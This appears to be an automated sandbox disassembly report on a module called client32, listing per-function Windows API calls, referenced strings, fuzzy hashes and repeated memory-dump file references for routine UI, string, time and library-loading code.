Opcode Fuzzy Hash: 11f0d30aa3f02123455d4450b7bd0329a115d60e4b75bed00ccc8902a962dd4a
Instruction Fuzzy Hash: FA316175D001299FDB90DA55CC84BAEB7F9AF45304F05C0E9E959A7240DE306E85CFE1

Function 1113F780 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000100,?), ref: 1113F7BB
_strrchr.LIBCMT ref: 1113F7CA
_strrchr.LIBCMT ref: 1113F7DA
wsprintfA.USER32 ref: 1113F7F5

Part of subcall function 11141D10: GetModuleHandleA.KERNEL32(NSMTRACE,?), ref: 11141D2A

Strings

CLIENT32, xrefs: 1113F7F0, 1113F7FE, 1113F805, 1113F832

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Module_strrchr$FileHandleNamewsprintf
String ID: CLIENT32
API String ID: 2529650285-3575452709
Opcode ID: c2a49ae62f9c0766f4e7d43f4f0c94c2462831461f20b5692fbc6db37602f5f6
Instruction ID: 412e03c58315fe01b93dc4c6e19b7b9e09016b9ccac3efcd19913ad31261d848
Opcode Fuzzy Hash: c2a49ae62f9c0766f4e7d43f4f0c94c2462831461f20b5692fbc6db37602f5f6
Instruction Fuzzy Hash: 40218B3490126A5BE712DBB48D447EAFFA4DF5231CF0040E9E9D58B245EA705944C7D3

Function 1113F370 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetProfileStringA.KERNEL32(Windows,Device,,,LPT1:,?,00000080), ref: 1113F39E
_memmove.LIBCMT ref: 1113F3ED

Strings

,,LPT1:, xrefs: 1113F38F
Windows, xrefs: 1113F399
Device, xrefs: 1113F394

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProfileString_memmove
String ID: ,,LPT1:$Device$Windows
API String ID: 1665476579-2967085602
Opcode ID: 545c589ca3c1c67feaf2385bf7ba58e2cdbbd1510027cf68d9306f3142d9ecb6
Instruction ID: bcd620f34367886d122ba7e5b4bc1f5e42e64e22dfa310253f00a50472163b57
Opcode Fuzzy Hash: 545c589ca3c1c67feaf2385bf7ba58e2cdbbd1510027cf68d9306f3142d9ecb6
Instruction Fuzzy Hash: 42112965A0425B9AEB108F24AD45BBAF768EF8520DF0040A8ED859714AEA316609C7B3

Function 11141070 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1114107C
_memset.LIBCMT ref: 11141098
GetMenuItemInfoA.USER32(?,00000000,00000001,?), ref: 111410B6
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 111410DF

Strings

0, xrefs: 111410A8

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemMenu$Info$Count_memset
String ID: 0
API String ID: 162323998-4108050209
Opcode ID: 0c1e1fdabff6bfde52f05e2d3fca83c1d12d76b79eb12fdf68bc459e20492bd0
Instruction ID: 2bcd32ba99f467236d3458310ced708016d2ad859b25bc85d693658704d9c718
Opcode Fuzzy Hash: 0c1e1fdabff6bfde52f05e2d3fca83c1d12d76b79eb12fdf68bc459e20492bd0
Instruction Fuzzy Hash: E0016171A11219BBDB10DF95DD89FDEFBBCEB45758F108115F914E3140D7B0660487A1

Function 11141100 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,?,00000058,DC70C1FE), ref: 11141118
wsprintfA.USER32 ref: 1114112E

Strings

#%d, xrefs: 11141128
i < cchBuf, xrefs: 11141145
..\ctl32\util.cpp, xrefs: 11141140

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LoadStringwsprintf
String ID: #%d$..\ctl32\util.cpp$i < cchBuf
API String ID: 104907563-3240211118
Opcode ID: ed963a6da0cc994b675a1a3ecec53232d14ad4da25c19b95f1ebe75632444126
Instruction ID: e2aba8975d0064ad862be08188f807418d6f8eeb8e9cddff9dd8f2c53222b253
Opcode Fuzzy Hash: ed963a6da0cc994b675a1a3ecec53232d14ad4da25c19b95f1ebe75632444126
Instruction Fuzzy Hash: 40F0F67AB011297BDB018BA99C84DDFB76CEF85A98B144021FA0893200EA31BA01C3A5

Function 110335E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110335F8
GetClassNameA.USER32(?,?,00000400), ref: 11033626

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

ComboBox, xrefs: 11033632
CltAutoLogon.cpp, xrefs: 11033607
IsWindow(hWin), xrefs: 1103360C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassErrorExitLastMessageNameProcessWindowwsprintf
String ID: CltAutoLogon.cpp$ComboBox$IsWindow(hWin)
API String ID: 2713866921-163732079
Opcode ID: 3b9e86a5835d1674b9f04b13084563b7e6818a03ecb2fa4b648010b3b217809c
Instruction ID: 7c0026f42908b5e278ccc52ab84e836bf453825b517ccc9397fc8abb106b0303
Opcode Fuzzy Hash: 3b9e86a5835d1674b9f04b13084563b7e6818a03ecb2fa4b648010b3b217809c
Instruction Fuzzy Hash: 6AF0BB75E1162D6BDB00DB649D41FEEF76C9F05209F0000A4FF14A6141EA346A058BDA

Function 11085290 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(cenctrl.dll), ref: 110852BE
GetProcAddress.KERNEL32(00000000,cenctrl_protection), ref: 110852D0

Part of subcall function 11085260: FreeLibrary.KERNEL32(00000000,?,110852E4), ref: 1108526A

Strings

EDC, xrefs: 1108529D
cenctrl_protection, xrefs: 110852CA
cenctrl.dll, xrefs: 110852B9

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: EDC$cenctrl.dll$cenctrl_protection
API String ID: 145871493-3137230561
Opcode ID: bcefdbb54fd6e3826cd2e4b083ee9c304654a3391fecb8a6baff1735307a3122
Instruction ID: d397d68d13e32483cc8c89d25abb01868daaac96927e0e05309bf2cb32c419b9
Opcode Fuzzy Hash: bcefdbb54fd6e3826cd2e4b083ee9c304654a3391fecb8a6baff1735307a3122
Instruction Fuzzy Hash: 42F02278E0832367EB01AF38BC0978E7AC85B0231CF410437F845EA20AFD22E04047A3

Function 11017050 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(IPTip_Main_Window,00000000), ref: 11017058
GetWindowLongA.USER32(00000000,000000F0), ref: 11017067
PostMessageA.USER32(00000000,00000112,0000F060,00000000), ref: 11017088
SendMessageA.USER32(00000000,00000112,0000F060,00000000), ref: 1101709B

Strings

IPTip_Main_Window, xrefs: 11017053

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageWindow$FindLongPostSend
String ID: IPTip_Main_Window
API String ID: 3445528842-293399287
Opcode ID: f29157ae41647e7040a7eda695b4ceafee474d21207e05018a777220eed7e0bc
Instruction ID: 6ed72df936b24ea30651ffc38d8a948eea9e1772f025cae554d715837251261a
Opcode Fuzzy Hash: f29157ae41647e7040a7eda695b4ceafee474d21207e05018a777220eed7e0bc
Instruction Fuzzy Hash: 06E08638B81B36B6F33357144C8AFDE79549F05B65F108150F722BE1CDC7689440579A

Function 11061070 Relevance: 7.6, APIs: 5, Instructions: 97timeCOMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 11061086

Part of subcall function 11160477: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,1101D218,00000000,DC70C1FE,?,?,?,?,?,1117AD21,000000FF), ref: 11160482
Part of subcall function 11160477: __aulldiv.LIBCMT ref: 111604A2

SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 11061118
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 11061122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 11061143
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 11061151

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Unothrow_t@std@@@__ehfuncinfo$??2@$__aulldiv__time64
String ID:
API String ID: 3203075409-0
Opcode ID: 7e686957ebab2d91ef43d1a78624d3982f8265b352f3fa907e3863f3d2a41bed
Instruction ID: 9fbe0da520f53b699568b749b3a3eae29a5fc02c94d56d28377b82a7ad20d906
Opcode Fuzzy Hash: 7e686957ebab2d91ef43d1a78624d3982f8265b352f3fa907e3863f3d2a41bed
Instruction Fuzzy Hash: A4315A75D1021DAACF04DFE4D841AEEF7B8EF88714F04856AE805B7280EA756A04CBA5

Function 110250E0 Relevance: 7.6, APIs: 5, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110250F7
GetDlgItem.USER32(?,00001399), ref: 11025131
TranslateMessage.USER32(?), ref: 1102514A
DispatchMessageA.USER32(?), ref: 11025154
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11025196

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchItemTranslate
String ID:
API String ID: 1381171329-0
Opcode ID: 9bbe141cbcae0986ab8e1a5d19c673565b62793078cbe47edbac0050ed91c493
Instruction ID: 4970fc911a0e855f64a3d9e647d9240b716c91892a3758399f36bf61488b9f97
Opcode Fuzzy Hash: 9bbe141cbcae0986ab8e1a5d19c673565b62793078cbe47edbac0050ed91c493
Instruction Fuzzy Hash: 6421AE71E0030B6BEB21DA65CC85FAFB3FCAB44708F904469EA1792180FB75E401CB95

Function 11023370 Relevance: 7.6, APIs: 5, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11023387
GetDlgItem.USER32(?,00001399), ref: 110233C1
TranslateMessage.USER32(?), ref: 110233DA
DispatchMessageA.USER32(?), ref: 110233E4
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11023426

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchItemTranslate
String ID:
API String ID: 1381171329-0
Opcode ID: 1eedb8004f846199553b9819b36fcc4fba7ec9623a11643e01901e57e73e0ceb
Instruction ID: 550a142869b4f1c1193fc2f7bd4fc6518863fc800a3782c30ff24b2ab7768c02
Opcode Fuzzy Hash: 1eedb8004f846199553b9819b36fcc4fba7ec9623a11643e01901e57e73e0ceb
Instruction Fuzzy Hash: 0721A175E0430B6BD711DF65CC85BAFB3ACAB48308F808469EA5296280FF74F501CB91

Function 1103F120 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 1103F000: DeleteObject.GDI32(?), ref: 1103F0EB

CreateRectRgnIndirect.GDI32(?), ref: 1103F168
CombineRgn.GDI32(?,?,00000000,00000002), ref: 1103F17C
DeleteObject.GDI32(00000000), ref: 1103F183
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 1103F1A6
CombineRgn.GDI32(00000000,00000000,00000000,00000002), ref: 1103F1BD

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
